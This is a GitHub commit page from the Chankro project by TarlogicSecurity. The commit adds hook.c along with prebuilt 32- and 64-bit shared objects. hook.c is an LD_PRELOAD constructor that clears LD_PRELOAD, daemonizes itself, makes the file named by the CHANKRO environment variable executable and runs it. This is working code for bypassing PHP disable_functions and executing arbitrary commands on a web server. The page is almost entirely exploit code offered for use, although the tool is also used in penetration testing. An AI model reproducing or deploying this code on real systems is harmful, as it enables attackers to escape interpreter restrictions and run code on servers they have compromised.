Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
Updated Chankro
  • Loading branch information
TarlogicSecurity authored May 2, 2018
1 parent 483ae96 commit dfd1f0d
Show file tree
Hide file tree
Showing 3 changed files with 27 additions and 0 deletions.
27 changes: 27 additions & 0 deletions hook.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <unistd.h>


void pwn(void) {
chmod(getenv("CHANKRO"), 00777);
system(getenv("CHANKRO"));
}

void daemonize(void) {
signal(SIGHUP, SIG_IGN);
if (fork() != 0) {
exit(EXIT_SUCCESS);
}
}

__attribute__ ((__constructor__)) void preloadme(void) {
unsetenv("LD_PRELOAD");
daemonize();
pwn();
}

Binary file added hook32.so
Binary file not shown.
Binary file added hook64.so
Binary file not shown.

0 comments on commit dfd1f0d

Please sign in to comment.